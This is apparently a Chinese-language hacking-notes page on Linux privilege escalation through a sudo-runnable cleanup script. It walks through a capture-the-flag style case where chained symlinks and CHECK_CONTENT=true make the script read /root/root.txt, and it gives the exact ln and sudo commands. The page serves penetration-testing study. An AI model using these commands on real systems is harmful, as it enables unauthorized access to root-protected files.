> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-double-symlink-linux-privilege-escalation.md).

# Sudo 双重符号链接 - Linux 权限提升

Sudo（双重符号链接）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。

## 这是什么

sudoers 权限提升始于用户可以通过……运行的命令 `sudo`。配置错误的二进制文件、不安全的脚本参数、符号链接处理，以及存在漏洞的 sudo 版本，都可能把有限的 sudo 权限变成 root shell。本页面专注于 **Sudo（双重符号链接）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。

## 枚举

在运行利用路径之前，先确认本地环境和具体的配置错误。

```bash
sudo -l
sudo --version
```

## 示例

### SUDO - Clean/\_synLink.sh

我们在寻找一个允许提权的漏洞。我们发现了一个具有 SUID 权限的文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec24ae5499df8ac352b86950f56d0ff81f8aaa9f%2Fimage%20(2615).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **符号链接清理脚本分析**

> 我们分析一个名为 `clean_symlink.sh`，它检查作为参数提供的文件是否是指向 `.png` 文件的符号链接。如果符号链接指向一个关键文件，脚本会将其删除。否则，它会把符号链接移动到 `/var/quarantined/` 目录中。如果环境变量 `CHECK_CONTENT` 被设置为 `真`，脚本会尝试读取文件内容。

以下是创建运行所需符号链接的命令：

```bash
ln -s /root/root.txt flag.txt
ln -s /home/bob/flag.txt flag.png
```

然后我们运行以下命令以获取 root flag：

```bash
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/flag.png 
```

因此我们获得了 flag `root.txt`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d510c3b8a79e2f856beb8e60ce573f331bee991c%2Fimage%20(2616).png?alt=media" alt=""><figcaption></figcaption></figure>


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